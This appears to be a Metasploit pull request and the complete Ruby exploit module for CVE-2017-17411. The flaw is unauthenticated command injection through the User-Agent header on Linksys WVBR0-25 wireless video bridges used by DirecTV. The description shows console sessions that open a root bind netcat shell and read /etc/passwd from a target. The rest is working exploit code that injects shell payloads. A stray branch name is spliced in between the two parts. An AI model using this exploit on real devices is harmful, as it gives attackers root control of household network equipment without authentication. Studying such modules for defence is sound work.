Adds exploit module for CVE-2017-17411
This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41. Example console output: ``` msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info Name: Linksys WVBR0-25 User-Agent Command Execution Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth Platform: Unix Privileged: Yes License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2017-12-13 Provided by: HeadlessZeke Available targets: Id Name -- ---- 0 Automatic Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload information: Space: 1024 Description: The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41 of the web management portal via the User-Agent header. Authentication is not required to exploit this vulnerability. References: http://cvedetails.com/cve/2017-17411/ http://www.zerodayinitiative.com/advisories/ZDI-17-973 https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat) cmd/unix/generic normal Unix Command, Generic Command Execution cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat) msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat payload => cmd/unix/bind_netcat msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104 RHOST => 10.0.0.104 msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit [*] 10.0.0.104:80 - Trying to access the device ... [*] Started bind handler [*] 10.0.0.104:80 - Exploiting... [*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600 id uid=0(root) gid=0(root) ^C Abort session 1? [y/N] y [*] 10.0.0.104 - Command shell session 1 closed. Reason: User exit msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic payload => cmd/unix/generic msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd cmd => cat /etc/passwd msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit [*] 10.0.0.104:80 - Trying to access the device ... [*] 10.0.0.104:80 - Exploiting... [+] 10.0.0.104:80 - Command sent successfully [*] 10.0.0.104:80 - Command output: root❌0:0::/:/bin/sh nobody❌99:99:Nobody:/:/bin/nologin sshd❌22:22::/var/empty:/sbin/nologin admin❌1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga❌1001:1001:Quagga [*] Exploit completed, but no session was created. msf exploit(linksys_wvbr0_user_agent_exec_noauth) > ```MS-2855/keylogger-mettle-extension
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
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'Description' => %q{
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The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
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cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
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of the web management portal via the User-Agent header. Authentication is not required to
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exploit this vulnerability.
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},
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'Author' =>
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[
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'HeadlessZeke' # Vulnerability discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2017-17411'],
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['ZDI', '17-973'],
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['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
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],
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'DisclosureDate' => 'Dec 13 2017',
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 1024,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic netcat'
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0
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))
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end
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def check
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/'
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})
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if res && res.code == 200 && res.body.to_s =~ /Firmware Version: (1\.0\.(40|[1-3][0-9]|[0-9])\.|0\.)/ # version < 1.0.41
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return Exploit::CheckCode::Vulnerable
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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puts res.body.to_s
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("#{peer} - Trying to access the device ...")
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
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end
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print_status("#{peer} - Exploiting...")
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if datastore['PAYLOAD'] == 'cmd/unix/generic'
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exploit_cmd
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else
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exploit_session
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end
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end
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def exploit_cmd
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beg_boundary = rand_text_alpha(8)
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/',
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'headers' => {
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'User-Agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
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}
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})
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if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
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print_good("#{peer} - Command sent successfully")
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if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
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print_status("#{peer} - Command output: #{$1}")
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end
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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def exploit_session
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begin
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send_request_raw({
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'method' => 'GET',
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'uri' => '/',
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'headers' => {
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'User-Agent' => "\"; #{payload.encoded} #"
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}
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})
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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